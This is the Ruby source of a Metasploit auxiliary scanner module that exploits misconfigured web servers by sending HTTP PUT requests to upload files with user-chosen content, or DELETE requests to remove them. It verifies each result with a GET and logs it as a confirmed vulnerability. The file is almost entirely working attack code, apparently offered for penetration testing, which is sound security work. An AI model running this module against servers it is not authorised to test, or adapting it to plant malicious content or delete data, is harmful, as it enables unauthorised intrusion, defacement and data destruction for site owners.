189 lines
5.1 KiB
Ruby
189 lines
5.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::WmapScanDir
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'HTTP Writable Path PUT/DELETE File Access',
|
|
'Description' => %q{
|
|
This module can abuse misconfigured web servers to upload and delete web content
|
|
via PUT and DELETE HTTP requests. Set ACTION to either PUT or DELETE.
|
|
|
|
PUT is the default. If filename isn't specified, the module will generate a
|
|
random string for you as a .txt file. If DELETE is used, a filename is required.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Kashif [at] compulife.com.pk',
|
|
'CG',
|
|
'sinn3r',
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '397'],
|
|
],
|
|
'Actions' =>
|
|
[
|
|
['PUT'],
|
|
['DELETE']
|
|
],
|
|
'DefaultAction' => 'PUT'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('PATH', [true, "The path to attempt to write or delete", "/"]),
|
|
OptString.new('FILENAME', [true, "The file to attempt to write or delete", "msf_http_put_test.txt"]),
|
|
OptString.new('FILEDATA', [false, "The data to upload into the file", "msf test file"]),
|
|
OptString.new('ACTION', [true, "PUT or DELETE", "PUT"])
|
|
])
|
|
end
|
|
|
|
#
|
|
# Send a normal HTTP request and see if we successfully uploaded or deleted a file.
|
|
# If successful, return true, otherwise false.
|
|
#
|
|
def file_exists(path, data, ip)
|
|
begin
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => path,
|
|
'method' => 'GET',
|
|
'ctype' => 'text/plain',
|
|
'data' => data,
|
|
}, 20
|
|
).to_s
|
|
rescue ::Exception => e
|
|
print_error("#{ip}: Error: #{e.to_s}")
|
|
return nil
|
|
end
|
|
|
|
return (res =~ /#{data}/) ? true : false
|
|
end
|
|
|
|
#
|
|
# Do a PUT request to the server. Function returns the HTTP response.
|
|
#
|
|
def do_put(path, data, ip)
|
|
begin
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(path),
|
|
'method' => 'PUT',
|
|
'ctype' => 'text/plain',
|
|
'data' => data,
|
|
}, 20
|
|
)
|
|
rescue ::Exception => e
|
|
print_error("#{ip}: Error: #{e.to_s}")
|
|
return nil
|
|
end
|
|
|
|
return res
|
|
end
|
|
|
|
#
|
|
# Do a DELETE request. Function returns the HTTP response.
|
|
#
|
|
def do_delete(path, ip)
|
|
begin
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(path),
|
|
'method' => 'DELETE',
|
|
'ctype' => 'text/html',
|
|
}, 20
|
|
)
|
|
rescue ::Exception => e
|
|
print_error("#{ip}: Error: #{e.to_s}")
|
|
return nil
|
|
end
|
|
|
|
return res
|
|
end
|
|
|
|
#
|
|
# Main function for the module, duh!
|
|
#
|
|
def run_host(ip)
|
|
path = datastore['PATH']
|
|
data = datastore['FILEDATA']
|
|
|
|
if path[-1,1] != '/'
|
|
path += '/'
|
|
end
|
|
|
|
path += datastore['FILENAME']
|
|
|
|
case action.name
|
|
when 'PUT'
|
|
# Append filename if there isn't one
|
|
if path !~ /(.+\.\w+)$/
|
|
path << "#{Rex::Text.rand_text_alpha(5)}.txt"
|
|
vprint_status("No filename specified. Using: #{path}")
|
|
end
|
|
|
|
# Upload file
|
|
res = do_put(path, data, ip)
|
|
vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?
|
|
|
|
# Check file
|
|
if not res.nil? and file_exists(path, data, ip)
|
|
turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}"
|
|
print_good("File uploaded: #{turl}")
|
|
report_vuln(
|
|
:host => ip,
|
|
:port => rport,
|
|
:proto => 'tcp',
|
|
:name => self.name,
|
|
:info => "Module #{self.fullname} confirmed write access to #{turl} via PUT",
|
|
:refs => self.references,
|
|
:exploited_at => Time.now.utc
|
|
)
|
|
else
|
|
print_error("#{ip}: File doesn't seem to exist. The upload probably failed")
|
|
end
|
|
|
|
when 'DELETE'
|
|
# Check file before deleting
|
|
if path !~ /(.+\.\w+)$/
|
|
print_error("You must supply a filename")
|
|
return
|
|
elsif not file_exists(path, data, ip)
|
|
print_error("File is already gone. Will not continue DELETE")
|
|
return
|
|
end
|
|
|
|
# Delete our file
|
|
res = do_delete(path, ip)
|
|
vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil?
|
|
|
|
# Check if DELETE was successful
|
|
if res.nil? or file_exists(path, data, ip)
|
|
print_error("#{ip}: DELETE failed. File is still there.")
|
|
else
|
|
turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}"
|
|
print_good("File deleted: #{turl}")
|
|
report_vuln(
|
|
:host => ip,
|
|
:port => rport,
|
|
:proto => 'tcp',
|
|
:sname => (ssl ? 'https' : 'http'),
|
|
:name => self.name,
|
|
:info => "Module #{self.fullname} confirmed write access to #{turl} via DELETE",
|
|
:refs => self.references,
|
|
:exploited_at => Time.now.utc
|
|
)
|
|
end
|
|
end
|
|
end
|
|
end
|